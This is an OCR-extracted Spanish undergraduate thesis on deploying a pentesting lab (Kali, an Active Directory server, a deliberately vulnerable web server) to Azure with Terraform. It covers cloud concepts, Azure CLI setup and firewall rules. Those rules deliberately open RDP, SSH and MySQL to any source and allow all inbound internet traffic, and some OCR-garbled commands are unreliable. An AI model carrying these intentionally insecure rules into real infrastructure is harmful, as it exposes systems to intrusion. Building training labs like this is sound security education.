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RESUMEN

En el presente Trabajo de Fin de Grado, se aborda la creacion de un entorno de pentesting
mediante herramientas de infraestructura como codigo para su posterior despliegue en la nube
de Azure.

Este entorno consiste en una serie de equipos con configuraciones y datos precargados que
simula una pequefia red sobre la cual se van a explotar distintas vulnerabilidades.

Debido a la gran cantidad de avances tecnolégicos y relacionados con la informética, la
disposicion de este tipo de herramientas permite una mayor adaptabilidad a los cambios, ya
que permite simular una red entera y usando configuraciones homogéneas para poder realizar
pruebas de las nuevas vulnerabilidades descubiertas sin poner en riesgo los equipos reales
de trabajo.

Palabras clave: laaS, laaC, Entorno Pentesting, Cloud, Ciberseguridad

Abstract

This Final Degree Project deals with the creation of a pentesting environment using
infrastructure tools as code for subsequent deployment in the Azure cloud.
It consists of a number of computers with preloaded configurations and data that simulate a
small network on which various vulnerabilities are to be exploited.

Because of the increasing advances on technology and computer-related, the disposition of
these types of utilities allows a higher flexibility for changes, as it enables to emulate a whole
entire network using uniform configurations in an attempt to test the new vulnerabilities
discovered with no risk the real devices at work.
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GLOSARIO DE TERMINOS

ACE:
AS-REP:
AS-REQ:
CLI:

CVE:

CVSS:

DoS:
DMZ:
DNS:
Hash:
laaS:
laC:
IDE:
IP:
JBDC:
JNDI:
KDC:

Kerberos:

Access Control Entry (Entrada de Control de Acceso)
Authentication Service Response

Authentication Service Request

Comand-Line Interface (Interfaz de Linea de Comandos)

Common Vulnerabilities and Exposures (Vulnerabilidades y exposiciones
comunes)

Common Vulnerability Scoring System (Sistema de puntuacion de
vulnerabilidades comunes)

Denial of Service (Denegacién de servicio)

Demilitarized Zone (Zona Desmilitarizada)

Domain Name Server (Servidor de nombres de dominio)

Codigo resultante de aplicar un cifrado a un dato

Infrastructure as a Service (Infrastructura como servicio)

Infrastructure as Code (Infrastructura como cédigo)

Integrated Development Environment (Entorno de Desarrollo Integrado)
Internet Protocol (Protocolo de internet)

Java Database Connectivity

Java Name and Directory Interface (Interfaz de Nombrado y Directorio Java)
Key Distribution Center

Protocolo de autenticacion que permite a dos ordenadores demostrar su
identidad de manera segura
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LCE:

LDAP:

LRS:

MFA:

PaaS:

RCE:

RDP:

Roasting:

Saas:

SPN:

SSH:

TGS:

TGT:

Local Code Execution (Ejecucion de Codigo Local)

Lightweight Directory Access Protocol (Protocolo Ligero de Acceso a
Directorios)

Locally redundant storage (almacenamiento con redundancia local)
Multi Factor Authentication (Autenticacion multifactor)

Platform as a Service (Plataforma como servicio)

Remote Code Execution (Ejecucion de Codigo Remota)

Remote Desktop Protocol (Protocolo de escritorio remoto)

Proceso de descifrado de hashes obtenidos durante un ataque
Sofware as a Service (Software como servicio)

Service Principal Name (Servicio de nombres principal)

Secure Shell (Interprete de ordines seguro)

Ticket Granting Service

Ticket Granting Ticket




Introduccion

1. INTRODUCCION

1.1.Justificaciéon del tema

En la actualidad el numero de ciberataques sufridos por distintas empresas esta en
aumento, alguna de las razones por las cuales pasa esto es debido a la pandemia y la
necesidad de digitalizar y permitir el trabajo en remoto sin tener la infraestructura adecuada.

Todo esto ha permitido que Espafia sea el pais con mas ciberataques recibidos, 51000
millones en el afio 2021 [1], entre los ataques mas populares estan los del phishing, este
ataque consiste en hacer una suplantacion de identidad para recabar datos confidenciales de
la victima, y los de escritorio remoto, el cual permite al atacante tener un control total del equipo
infectado.

Esta situacion hace necesario el aumento de los presupuestos de las empresas destinados
a ciberseguridad y a la formacién de los empleados, ya que un sistema puede ser inseguro
debido al uso que le den los usuarios.

Como recoge en la encuesta de PwC [2], mas de la mitad de las empresas encuestadas
tienen previsto aumentar su presupuesto en esta materia, esto se observa en la llustracion

1.1.
Crece el presupuesto en ciberseguridad en 2021

1% 2%
no sabe / No conlesta D|5mmmré mas de un 20%

No puede determinarlo D|sm|nmré entre un 11-20%
ahora m|smo

Crecera mas Disminuird entre
de un 10% 6“"@ / un 6-10%

_— Disminuird un
5% 0 menos

Crecerd entre —
un 6-10%

™ No ha variado

/

Crecerd un 5% o menos

Neto: Crecimiento del 55% . Neto: Decrecimiento del 26%

Fuente: Global digital trust Insights Survey 2021: 3.249 encuestados
P: jcomo va a cambiar tu presupuesto en ciberseguridad en 20217 1.414 encuestado

llustracion 1.1 Crecimiento del presupuesto en ciberseguridad
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Por todo lo expuesto anteriormente, es necesaria la creacidon de entornos reales para
entrenar y buscar vulnerabilidades de los sistemas sin comprometer los sistemas en uso, para
ello se pueden utilizar herramientas para la creacion y la automatizacién de estos entornos,
permitiendo la elaboracion de entornos complejos que puedan simular las redes y conexiones
reales de las empresas.

Todos estos argumentos justifican la eleccion como tema relevante de estudio para el
presente TFG.

Todas estas consideraciones implican un gran reto tecnolégico, ya que cada vez hay mas
dispositivos conectados y se dependen mas de ellos, y en un mundo tan conectado cada vez
hay mas amenazas para la ciberseguridad, ya que a medida que se mejoran la seguridad de
los sistemas también se mejoran las técnicas para atacarles.

1.2.Objetivos

El objetivo principal de este TFG consiste en la elaboracién de un entorno de entrenamiento
para ciberseguridad, este entorno se generara de manera automética y se desplegara en la
nube de Azure.

Como objetivos secundarios se realizaran pruebas que ataquen a la seguridad del entorno
creado, y se demostraran los distintos conocimientos adquiridos a lo largo de los cuatro afios

de la carrera.

Aunque el entorno esta disefiado especificamente para la nube de Azure, con ligeros
cambios podria ser compatible con otras nubes como la de Amazon.

1.3.Estructura
El trabajo esta estructurado en seis bloques diferenciados que son los siguientes:

En el primer apartado, la introduccion, se exponen los motivos de la eleccion del tema, los
objetivos, su estructura y la metodologia seguida para su elaboracion.

En el segundo capitulo se describen las distintas tecnologias utilizadas, explicando que son,
para que se utilizan en el ambito general y cuales son sus funciones para este TFG

En el apartado tercero se exponen las especificaciones técnicas de las maquinas del
entorno y de las conexiones entre ellas.
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En el cuarto capitulo se realiza una descripcion del entorno con sus diagramas y todos los
pasos necesarios para su puesta en funcionamiento y en el quinto apartado las pruebas
realizadas para explotar las vulnerabilidades.

A continuacion, se incluyen las principales conclusiones del TFG y sus posibles mejoras de
cara al futuro.

Por dltimo, se presentan las principales referencias bibliograficas utilizadas.
1.4.Metodologia

Para el desarrollo del proyecto se va a utilizar un desarrollo &gil, es un sistema utilizado en
el desarrollo software que permite una gran adaptacion a los cambios que pueda sufrir el
proyecto.

Gracias a ser una metodologia &gil puedo descomponer el proyecto en pequefias
actividades para centrarme en ellas, y a medida que se avanza, en caso de que falle la
integracion de las distintas actividades o se detecte algun fallo de implementacion es mas facil
localizar y corregir dichos errores. En la ilustracion 1.2 se pueden observar las etapas de la
metodologia &gil.

SPRINT

SPRINT }:
3

o damh

Fuente: ebf.com.es

llustracion 1.2 Etapas de la metodologia agil

Como se puede apreciar en la llustracion 1.2 las etapas que se realizan son la de
planificacion, disefio, desarrollo, test, despliegue, revision y lanzamiento, todas estas etapas
se repiten en cada iteracion del desarrollo.

En la etapa de planificacion se decide en que parte me voy a concentrar, tras eso paso a la
etapa de disefio, donde realizo una investigacion de cual puede ser la mejor forma de realizar
la tarea, y a continuacion, paso a la parte de desarrollo, donde codifico el disefio en el que he
decidido centrarme.
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Una vez codificado paso a realizar su ejecucion y pruebas para asegurarme de que ha sido
correctamente implementado, y en caso contrario revisar las posibles causas del fallo, tras
eso doy por concluida la actividad y paso a repetir el mismo proceso con otra tarea del TFG.

Las herramientas principales utilizadas para la elaboracion del trabajo han sido:

e Azure CLI: Es un programa que permite la comunicacion con los distintos recursos
de Microsoft Azure, se ha escogido esta herramienta debido a que el despliegue del
entorno es en la nube de Azure.

e Visual Studio Code: Es un IDE que permite la escritura de codigo con una gran
capacidad de personalizacion, se ha escogido debido a su uso a lo largo de la
carrera y a que tenia soporte para Terraform.

e Gitlab: Es un repositorio que permite hacer un seguimiento al control de versiones
del programa, se ha optado por Gitlab debido a que por ser estudiante de la
Universidad de Valladolid tenia cuenta.

e Terraform: Es un software de infraestructura como cdodigo, que permite definir y
configurar una infraestructura en un lenguaje de alto nivel, se ha utilizado por
recomendacion del tutor Blas Torregrosa.

e Powershell: Es una consola que permite la ejecucion de comandos, se ha utilizado
esta consola debido a que el proyecto se ha realizado a través de un ordenador
Windows y que esta consola tiene mas funcionalidades asociadas que el CMD, la
consola clasica de Windows.

En caso de usarse otro sistema operativo distinto a Windows se usaria la consola
de comandos de dicho sistema.

e Docker: Es un sistema operativo para contenedores, esto permite un nivel mayor de
abstraccion?, debido a que en este TFG se utilizan también maquinas virtuales, en
la ilustracion 1.3 se puede observar la diferencia entre una maquina virtual y Docker.

1 Consiste en aislar un elemento de su contexto, es decir nos importa mas la funcion que el
como la realiza.
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' A ' 3
CONTAINER VM
App 1 App 2 App 3
Bins/Libs 1 Bins/Libs 1 Bins/Libs App 1 App 2 App 3
Docker Engine Bins/Libs 1 Bins/Libs | Bins/Libs
Guest 0S Guest OS 1 Guest 0S 1 Guest 05
Hypervisor Hypervisor
Server (Host) Server (Host)
- vy o J/

Fuente: aws.amazon.com

llustracion 1.3 Diferencia entre Docker y Maquina Virtual

Como se puede observar en la llustracion 1.3 en Docker, la zona izquierda de la imagen, el
usuario tiene control sobre las librerias y los datos usados, mientras que, en una maquina
virtual, zona de la derecha de la imagen, el usuario controla ambas y a mayores el sistema
operativo que corre en la misma [3].

Esas han sido las principales herramientas utilizadas para la elaboracion del proyecto, en
el apartado siguiente se hablara de las distintas tecnologias utilizadas en el desarrollo del
cbdigo del TFG.

2. TECNOLOGIAS USADAS

En este apartado voy a describir y analizar mediante ejemplos tanto del TFG, como
ejemplos de situaciones reales las tecnologias utilizadas para alcanzar los objetivos
propuestos del Trabajo Fin de Grado.

2.1.laaS

La evolucién de la informatica desde unos modelos locales hacia unos modelos basados
en la nube ha supuesto un cambio en las formas de usar el hardware y el software, lo que ha
dado lugar a distintos niveles de servicios que son SaaS, PaaS y laaS, los cuales describiré y
comparare entre ellos a continuacion.

SaaS son las siglas de Software as a Service (Software como Servicio), esto quiere decir
gue es un software que esta alojado en un servidor remoto y el usuario le puede utilizar
accediendo a este.

Las principales ventajas que tiene es que siempre esta actualizado debido a que las
actualizaciones dependen de la empresa proveedora, y que los requisitos para su uso por
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parte del usuario final son minimos, ya que se puede acceder a ellos desde un navegador
web. Un ejemplo de SaaS seria el Microsoft Office 365 en su parte de uso en la nube.

PaaS son las siglas de Platform as a Service (Plataforma como Servicio), y como ocurria
con el SaaS, se encuentran en un servidor remoto y los usuarios que lo utilicen acceden a él.

Su principal diferencia respecto al SaaS, es que en este caso el usuario puede escoger que
tipo de aplicacién y datos quiere, cosa que en SaaS solo podia escoger los datos.

Las principales ventajas que tiene este sistema es que el usuario no tiene que preocuparse
del mantenimiento o de las medidas de seguridad, es decir no tiene ningun control sobre donde
se ejecutan los programas, pero puede escoger que tipo de aplicaciones y que datos seran
los utilizados en dicho servidor.

Y luego hay un tercer grupo el laaS, Infrastructure as a Service (Infraestructura como
Servicio), aunque sigue estando en ejecucion en un servidor remoto como en los dos casos
anteriores, ahora el usuario tiene mucho mas control sobre el mismo, ya que es el encargado
de decidir que sistema operativo y caracteristicas quiere que posea el dispositivo.

Las principales ventajas del laaS es que da un mayor control sobre las especificaciones por
lo tanto se puede personalizar, y debido a que esta en un servidor remoto el usuario no
responsable de su mantenimiento y permite una gran flexibilidad en el cambio de
caracteristicas, cosa que si fuera un ordenador On-Site no permitiria tanta.

A continuacién, en la llustracion 2.1 recojo las principales caracteristicas de estos tres
niveles de computaciéon en la nube y el On-Site.
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0
On-site laaS PaaS SaaS

[ om |
€& @&
Virtualization

Applications Applications

Middleware Middleware

Virtualization

Servers

Storage

[[1]

Networking Networking Networking m
@ Youmanage
. Service provider manages

Fuente: redhat.com

llustracién 2.1 Diferencias entre laaS, PaaS, SaaS y On-Site

Como se puede observar en la llustracion 2.1 el SaaS es el nivel que menos control ofrece
al usuario, esto se traduce en que el proveedor entrega el software y no soporta ningun tipo
de personalizacion.

El siguiente nivel seria el PaaS que permite un ligero control al usuario, un ejemplo de PaaS
seria Heroku, usado para el despliegue de aplicaciones web, con Heroku puedes escoger
como desplegar la web y que va a contener, pero no puedes escoger las caracteristicas del
servidor.

El siguiente nivel seria el laaS el cual permite tener un mayor control al usuario sobre toda
la parte de software que va a utilizar, desde el sistema operativo hasta la aplicacion y los datos,
y como estos interaccionan entre si.

Y por ultimo se muestra el control que se tendria On-Site, el cual es total debido a que el
responsable del mantenimiento y todas las configuraciones es el usuario, por lo tanto, puede
escoger que tipo de hardware y conectividad desea para el equipo.

Para la elaboracién del presente TFG, se ha utilizado el nivel laaS, debido que era necesario
poder escoger que sistemas operativos se iban a ejecutar, Windows o Linux, y que
aplicaciones queriamos corriendo en ellos, ademas de poder asignarles dentro de las distintas
subredes que imitan una red en una empresa, lo cual en los otros niveles no hubiera sido
posible [4].




Tecnologias usadas

Otro termino importante y relacionado con estos es el de laC, Infrastructure as Code
(Infraestructura como cédigo), que se pasara a analizar en el siguiente apartado junto con la
herramienta utilizado para ello.

2.2.Terraform

Para poder hablar de Terraform antes voy a explicar en qué consiste laC, Infrastructure as
Code (Infraestructura como codigo) [5], esto es un sistema mediante el cual se pueden crear
aprovisionamientos de sistemas mediante codigo.

Esto se consigue mediante la elaboracion de distintos archivos de codigo que contienen las
configuraciones necesarias para tener una infraestructura entera, por ejemplo, en este TFG
se han generado distintos archivos para la gestion de los recursos, por ejemplo, en un fichero
todo lo relacionado con las maquinas virtuales y en otro con todo lo relacionados con sus redes
y subredes.

En la ilustracion 2.2 se muestra como este sistema permite una mayor estandarizacién de
los desarrollos independientemente de que plataforma sea la usada en el despliegue.

aws
O B

o) - S

2 oy _ Plan Apply ] I:Io
Practitioner Infrastructure al )
as Code
— [
VI'I"I aee o

Fuente: www.intuitive.cloud

llustracion 2.2 Estructura y despliegue de laC Terraform

Este sistema permite dos tipos de enfoque distintos, el enfoque declarativo e imperativo, la
diferencia entre ambos es que el enfoque declarativo se define cual es el estado deseado de
las configuraciones y la herramienta se encargar de conseguirlo.

En cambio, con el enfoque imperativo se definen los comandos para tener la configuracion
deseada y en caso de haber cambios el responsable de aplicar las nuevas configuraciones
sera el usuario.
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Tecnologias usadas

Terraform [6] es una herramienta open-source de laC, que se basa en el enfoque
declarativo, de esta forma se puede hacer distintos modulos segun las necesidades, lo cual
permite una mayor reutilizacion y mantenibilidad de la infraestructura.

Las principales ventajas de usar este sistema son:

1. Menor tiempo de despliegue, tanto partiendo desde cero como para cambios
puntuales.

2. Menos errores de configuraciones incompatibles.

Configuracion homogénea entre varias maquinas.

4. Estructura mas uniforme.

w

2.3.Azure

Azure es un servicio de Microsoft basado en computacién en la nube, proporciona los
distintos tipos de servicios comentados previamente, laaS, PaaS y Saas.

Aungue hay otras alternativas, como AWS (Amazon Web Service) o Google Cloud, se ha
escogida la opcion de Microsoft debido a que siendo estudiante de la Universidad de Valladolid
tenia ya cuenta con saldo disponible.

Dentro de los servicios que ofrece la nube de Azure se han utilizado principalmente las
utilidades de maquinas virtuales, redes, grupos de seguridad y almacenamiento.

2.4.Scripts

Los scripts son una secuencia de comandos que permite ejecutar un conjunto de
instrucciones de manera automatica.

El principal uso que se ha dado a los scripts en este TFG es para establecer las
configuraciones de las distintas maquinas virtuales y la carga de datos en las mismas.

Con este sistema se ha logrado que toda la configuracion se realice solo ejecutando los
scripts, ya sea en el momento de la creacion de la maquina, estos permitian la carga y
configuracion de las aplicaciones, o tras la creacion para la carga de datos y configuraciones
adicionales.

2.5.Maquinas virtuales

Una maquina virtual es un software que permite emular el comportamiento de un ordenador
fisico.

11



Tecnologias usadas

Dentro de las maquinas virtuales hay de distintos tipos, tipo 1 y tipo 2, estas diferencias son
producidas por el hipervisor que utilizan [7]. A continuacion, voy a analizar ambos tipos para
conocer sus diferencias.

El hipervisor es el software que permite coordinar la separacion de los componentes fisicos,
estilo CPU, RAM y otros recursos de la maquina fisica, también llamada host, de las distintas
maquinas virtuales que se crean. Este sistema permite que la maquina virtual, también
llamada guest, considere que dispone el hardware realmente y se comporte de como si fuera
una maquina fisica normal, pero debido a la virtualizacion es necesario que la maquina host
tenga recursos suficientes para un correcto funcionamiento de ambas.

Las maquinas virtuales de tipo 1 son aquellas que se ejecutan directamente sobre el
hardware, sin tener una capa intermedia de un sistema operativo que haga de intermediario,
esto permite un mejor rendimiento, pero son menos utilizadas ya que el sistema utilizado es
un sistema operativo en si mismo y la maquina donde se ejecuta solo sirve para tareas de
virtualizacion, ejemplos de sistemas que utilicen un hipervisor de tipo 1 seria Qube OS, y las
maquinas virtuales de Azure usadas en el presente TFG.

Las maquinas virtuales que son de tipo 2 se ejecutan sobre el sistema operativo de la
maquina host, este tipo es el mas comun y es el que suele utilizar programas de virtualizacion
como VMware Workstation o VirtualBox.

En la ilustracion 2.3 se muestra a modo resumen la diferencia de capas de los dos tipos de
hipervisores.

‘

TYPE 1 HYPERVISOR TYPE 2 HYPERVISOR

Fuente: www.muycomputer.com

llustracion 2.3 Capas de los tipos de hipervisor

Esa diferencia de ejecutarse sobre el hardware directamente permite una mayor versatilidad
y un menor consumo de recursos, lo cual hace que la maquina virtual tenga un mayor
rendimiento durante su uso y proporciona una experiencia mucho mas fluida.
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Tecnologias usadas

2.6.Directorio Activo

El Directorio Activo es un servicio de administracion de identidades y recursos, este se
estructura en recursos, servicios y usuarios [8].

Esto permite una gestion centralizada de los recursos, ya que desde él se pueden configurar
las cuentas, contrasefas, privilegios, roles y accesos a dispositivos dentro de la red de una
manera mucho mas rapida y eficiente.

Este sistema nos permite autenticar a los usuarios, es decir da igual desde que ordenador
traten de iniciar la sesion, si el ordenador pertenece al dominio y el usuario existe, podra iniciar
sesion con los privilegios que tenga ya concedidos en su equipo habitual.

Un término importante que va aparecer a continuacion es el termino de dominio, su
significado es parecido al de Directorio Activo, un dominio es un conjunto de dispositivos
conectados a una red en los que un servidor administra los usuarios y credenciales, en cambio
cuando nos referiremos a Directorio Activo no solo nos referimos al dominio sino también a su
Controlador de Dominio (DC).

Otro termino importante a tener cuenta es el termino de tree (arbol) [9], esto es un conjunto
de dominios que tienen una raiz comun y estan organizados de una manera jerarquica, esto

permite hacer una division para mejorar la eficiencia de la administracion de los recursos.

En la ilustracién 2.4 se muestra un ejemplo de un tree.

REDINTERNA.PRUEBAS.DOMINIO.TFG

Fuente: slfa.online.com.ni

llustracion 2.4 Ejemplo de tree
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Tecnologias usadas

El siguiente termino que voy analizar es el de forest (bosque) [10], un forest es un conjunto
de arboles de dominio, dentro del forest cada dominio tendra sus relaciones que se pueden
administrar segun las necesidades.

Un forest siempre debe tener como minimo un dominio raiz, es decir que cuando
generamos un dominio estamos generando la raiz del tree y encima de esta la del forest.

A continuacién, en la ilustracion 2.5 se puede observar un diagrama que muestra la
estructura de un Directorio Activo con el forest y tres dominios, en el presente TFG solo hay
un dominio, pero si que se ha creado la estructura del forest por si se podia llegar a
implementar mas maquinas, pero debido a limitaciones de la cuenta de Azure al final no se
llegd a explorar esa opcion.

Forest

Domain

ou ou

Domain Domain

ou ou

DD D D

Fuente: aprendiendoexchange.com

llustracion 2.5 Estructura del dominio activo

En lailustracion 2.5 se ve el forest el cual incluye los tres dominios, y dentro de cada dominio
estan las unidades organizativas, que son los distintos recursos y permisos que tienen
asignado dicho dominio. En la estructura reflejada se ve como el dominio superior es el
dominio raiz y los dos inferiores son subdominios.

Y el ultimo termino que es necesario comentar en referencia al Directorio Activo y los
dominios es el de trust (confianza) [8], esto es lo que permite que un usuario de pueda acceder
a los recursos de otro dominio o forest.

Segun el tipo de relacion esta puede ser:
e Unidireccional: Los recursos solo estan disponible en una direccion, A -> B
e Bidireccional: Los recursos estan disponibles en ambas direcciones, A <->B
e Transitivo: Si hay una relacion de trust entre Ay B, y B acepta C, también sera valido
para A.
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Especificaciones del entorno

El Directorio Activo que se usa en este TFG esta instalado dentro de una maquina virtual
de Azure, pero Azure también dispone de su propio Directorio Activo, llamado Azure Active
Directory.

Este sistema estd muy extendido en el mundo empresarial, tanto para pequefias como
grandes empresas, ya que permite una mayor flexibilidad y escalabilidad para administrar los
recursos de la empresa.

Estas han sido las principales tecnologias utilizadas, a continuacion, se pasara a analizar
las especificaciones del entorno que se ha construido para la realizacion de los ataques.

3. ESPECIFICACIONES DEL ENTORNO
El entorno esta desarrollado con Terraform y desplegado en Azure, consta de:

e 1 red llamada tfg-red-empresa.

e 3 subredes llamadas tfg-subred-interna, tfg-subred-dmz y tfg-subred-externa.

e 3 maquinas virtuales, llamadas tfg-kali, tfg-servidor-ad y tfg-servidor-web.

e 3 grupos de seguridad de red, llamados tfg-dmzNGS, tfg-externaNGS vy tfg-
internaNGS.

Las maquinas virtuales son del tipo Standard_DS1 V2 con 1 CPU virtual y 3,5GB de RAM,
usando una arquitectura x64 y desplegadas en la region West US 3.

La maquina tfg-servidor-ad dispone del sistema operativo Windows Server 2019, la
magquina tfg-servidor-web usa el sistema operativo Ubuntu Server 16.04 y la maquina tfg-kali
dispone del sistema operativo Kali Linux 2022.3.

La maquina tfg-servidor-ad esta conectada a la subred tfg-subred-interna, mientras que la
maquina tfg-kali esta conectada a tfg-subred-externa y la tercera maquina esta conectada a la
subred tfg-subred-dmz.

Todas disponen de un disco duro LRS de HDD estandar de 30GiB, y la maquina virtual tfg-
servidor-web dispone del nombre DNS tfg2022.westus3.cloudapp.azure.com, para poder
acceder a la pagina web vulnerable.

En la tabla 3.1 se recogen las IPs privadas de cada maquina y el rango de IPs de cada red
y subred.
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tfg2022.westus3.cloudapp.azure.com

Descripcion del entorno y su puesta en funcionamiento.

Nombre Direccién IP Privada
tfg-servidor-ad 10.0.2.4
tfg-kali 10.0.34
tfg-servidor-web 10.0.1.4
tfg-red-empresa 10.0.0.0/16
tfg-subred-dmz 10.0.1.0/24
tfg-subred-interna 10.0.2.0/24
tfg-subred-externa 10.0.3.0/24

Tabla 3.1 Informacion de IPs de maquinas virtuales y rangos de redes

Las IPs publicas de las maquinas se asignan de manera dinamica y se conocen al finalizar
el despliegue del entorno.

En el siguiente capitulo se analizara en mayor profundidad el entorno con sus diferentes
scripts generadores, como se despliega y se configura para poder realizar la explotacion de
las vulnerabilidades.

4. DESCRIPCION DEL ENTORNO Y SU PUESTA EN FUNCIONAMIENTO.

En este apartado voy a describir los distintos ficheros y su funcién para la creacion del
entorno, y como poner en marcha todo el entorno con sus configuraciones.

4.1.Configuracion de la cuenta de Azure

Antes de empezar a hacer las descripciones voy a explicar como preparar la cuenta de
Azure para que el entorno puede funcionar.

Lo voy a explicar a través de la PowerShell de Windows 10, debido a que para la
elaboracion del TFG este fue el sistema operativo utilizado, aunque también se podria realizar
desde Linux o desde el Azure Shell desde un navegador.

El primer paso es iniciar sesibn con nuestra cuenta de Azure a través del terminal
PowerShell, para ello introducimos en un terminal:

az login

Esto nos abrira una ventana en el navegador web en la que se nos pedira introducir nuestro
correo y contrasefa de la cuenta de Azure.

Una vez hecho se mostrard una salida como la de la ilustracién 4.1, los cuadros en blanco
hacen referencia a la informaciéon de la cuenta.
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Descripcion del entorno y su puesta en funcionamiento.

PS C:\Users\casa\Desktop> az login . . ) . . ) ) . . o

A web browser has been opened at https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize. Please continue the login in th
e web browser. If no web browser is available or if the web browser fails to open, use device code flow with "az login --use-device-cod
e .

he following tenants don't contain accessible subscriptions. Use 'az login --allow-no-subscriptions’ to have tenant level access.

"cloudName" :
i
"isbefault":

:manaﬂedB Tenants":
name" :

"state":
"tenantId":

"user": {
"name": P
"type”:
}
}

i
PS C:\Users\casa\Desktop>

llustracion 4.1 Salida del comando az login

Una vez realizado esto, procedemos a crear una nueva entidad de servicio y la asignamos
los permisos, la cual sera necesaria para que se ejecute correctamente el despliegue en
Terraform, para ello introducimos en ese mismo terminal el siguiente comando:

az ad sp create-for-rbac -n “usuario-terraform” --role="Contributor”
--scopes="/subscriptions/ID"

El valor de ID es el valor correspondiente al campo id que sale tras usar el comando az
Login

En la ilustracién 4.2 se puede ver la salida de dicho comando.

[PS_C:\users\casa\Desktop> az ad sp create-for-rbac

he underlying Active Directory Graph API will be replaced by Microsoft Graph API in Azure CLI 2.37.0. Please carefully review all brea
king changes introduced during this migration: https://docs.microsoft.com/cli azure/microsoft—ﬁraph—migration

Found an existing application instance of _ we will patch it
Creating 'contribu

: tor’ role assignment under scope i
he output includes credentials that you must protect. Be sure that you do not include these credentials in your code or check the cred

. U > C Y :
?nt1a1s into your source control. For more information, see https://aka.ms/azadsp-cli

"usuario-terraform”

"password
"tenant":
i

llustracion 4.2 Creacion de la entidad

Ahora con todos los datos recopilados de las salidas de los distintos comandos procedemos
a crear un fichero llamado terraform.tfvars.

Este fichero va a contener las variables referentes a la cuenta de Azure, este fichero no ha
se ha compartido porque hace referencia a mi propia cuenta.
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Descripcion del entorno y su puesta en funcionamiento.

A continuacion, se muestran los campos necesarios para el fichero y su correspondiente
mapeo con las salidas anteriores:

subscription_id = "id"
client_1id = "appID"
client_secret = "password"
tenant_id = "tenant"”

Debido a que en una maquina se usa Kali Linux, es necesario aceptar el acuerdo del
Marketplace, para ello desde el terminal que ejecutamos el az Login pasamos a introducir el
siguiente comando.

az vm image terms show --urn Rali-linux:Rali:kRali:2022.3.0

Este comando nos muestra los términos del acuerdo, como se ve en la ilustracion 4.3.

ES C:\Users\casa\Desktop\tfg\tfg\tfg-entorno-pentesting> az vm image terms show kali-Tinux:kali:kali:2022.3.0

"acce "
id” providers/Mmicrosoft.Marketplaceordering/offerTypes/virtualMachine/publishe

"id:
rs/kali-Tinux/offers/kali/plans/kali/agreements/current”,
ENSE | CX 0] - 1 DS o NpCProgsd D 10D Ore _WIHCOW = € dd el D cad el

|__marketplaceTermel Jple - “hitpc. //mpcprodea blob core windows pet/marketplaceterms/3EDEE marketplace

name’: "kali,

"plan": "kali",

"privacypPolicyLink": "https://www.kali.org/docs/policy/privacy/",

"product™: "kali",

"publisher”: "kali-14

"retrieveDat 2=

"signature":

"systemData":
‘createdAt”:
"createdBy":

"createdByType  : "ManagedIdentit
"lastModifiedat":

"lastModifiedBy"

"lastModifiedByType . "Managedldentity

"fype": "Microsoft.marketplaceordering/offertypes"

llustracion 4.3 Acuerdo de licencia de kali linux

A continuacién, con el siguiente comando procedemos a aceptarles.

az vm image terms accept --urn Rali-linux:kali:kali:2622.3.0

Tras esto se mostrara una salida parecida a la ilustracion 4.3, pero con el accepted en true.

Estos serian los pasos previos para tener preparada la cuenta de Azure para el despliegue
del entorno, ahora voy a describir y comentar la utilidad del resto de ficheros.
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Descripcion del entorno y su puesta en funcionamiento.

4.2.Analisis del entorno
El codigo descargado se divide en los siguientes ficheros:

arranque_ad.psl
firewall.tf

install_kali.sh
install_server_web.sh
install_windows_server.psl
main.tf

maquinas.tf

networks.tf

ngs.tf

outoput.tf

provider.tf
script_poblacional_ad.psl
usuarios.tfvars
variables.tf

A mayores habria que tener en cuenta el fichero creado previamente llamado
terraform.tfvars, haciendo un total de quince ficheros.

A continuacién, voy a ir analizando cada fichero y describiendo su utilidad dentro de la
creacion del despliegue.

El fichero arranque_ad.psl contiene un script que permite que se ejecute el script
poblacional del Directorio Activo.

En el fichero firewall.tf estan las reglas del firewall, divididas segun el grupo de seguridad
de red al que pertenece el firewall.

Este fichero tiene tres bloques principales, el primero hace referencias a las reglas de la
subred DMZ, el segundo a las de la subred interna y el tercero a las reglas de la subred

externa.

En lailustracidon 4.4 se puede observar la estructura de las reglas.
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Descripcion del entorno y su puesta en funcionamiento.

L1} n

resource "azurerm_network_security rule" "rdp_ssh_dmz" {

name = "rdp_ssh_dmz"
priority = 100

direction = "Inbound"
access = "Allow"
protocol = "Tep"
source_port_range = wxn
destination_port_ranges = ["3389", "22"]

Wy

source_address_prefix =
destination_address_prefix

W1

resource_group_name = azurerm_resource_group.resource_gp.name
network_security group_name azurerm_network_security_group.dmzNSG.name

llustracion 4.4 Estructura de reglas firewall

Como se puede observar en la ilustracion 4.4 cada regla del firewall se divide en una serie
de campos, esta regla es la referente a permitir el uso del Remote Desktop Protocol y el SSH,
por eso se hace referencia al puerto 3389 y 22 respectivamente.

Los campos que mas nos importan de la regla son el de la prioridad, a menor nUmero mas
prioritaria es la regla, el de la direccion del trafico, en este caso es de entrada, pero también
podria ser de salida, el de autorizar o denegar dicho tréfico, la direccion de origen y destino
del trafico y a que grupo de seguridad se aplica dicha regla.

A continuacion, se muestran las distintas reglas utilizadas y los comportamientos permitidos
dentro del entorno.

Las reglas del firewall para la subred DMZ se reducen a tres reglas personalizadas para el
trafico entrante, hay una regla para permitir el uso del protocolo RDP y el SSH, otra regla para
autorizar el acceso al puerto 80, 443, 8080 y 3306, los cuatro puertos respectivamente son los
de http, https, el puerto donde esta desplegada la pagina web dentro del Docker y el puerto
donde se encuentra la base de datos MySQL y la tercera regla permite el trafico entrante
desde internet, independiente del protocolo o puerto que se desee acceder.

También tiene tanto para trafico entrante como saliente las tres reglas por defecto que
permiten el trafico entre dispositivos de la red, el balanceador de carga y bloquear cualquier
otro tipo de trafico.

En la ilustracion 4.5 se pueden ver las reglas comentadas anteriormente para el trafico
entrante y saliente.
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Descripcion del entorno y su puesta en funcionamiento.

Prioridad T Nombre Ty Puerto T Protocolo Ty Origen T Destino T Accién Ty
" Reglas de seguridad de entrada

100 A\ rdp_ssh_dmz 22,3389 Tep Cualquiera Cualquiera @ Allow
101 A puerto_web 80,8080,443,3306 Tep Internet Cualquiera @ Allow
106 1Y permitir_trafico Cualquiera Cualquiera Cualquiera Cualquiera @ Allow
65000 AllowVnetinBound Cualquiera Cualquiera VirtualNetwork VirtualNetwork @ Allow
65001 AllowAzureloadBalanc- Cualquiera Cualquiera AzureLoadBalancer Cualquiera @ Allow
65500 DenyAllinBound Cualquiera Cualquiera Cualquiera Cualquiera € Deny
" Reglas de seguridad de salida

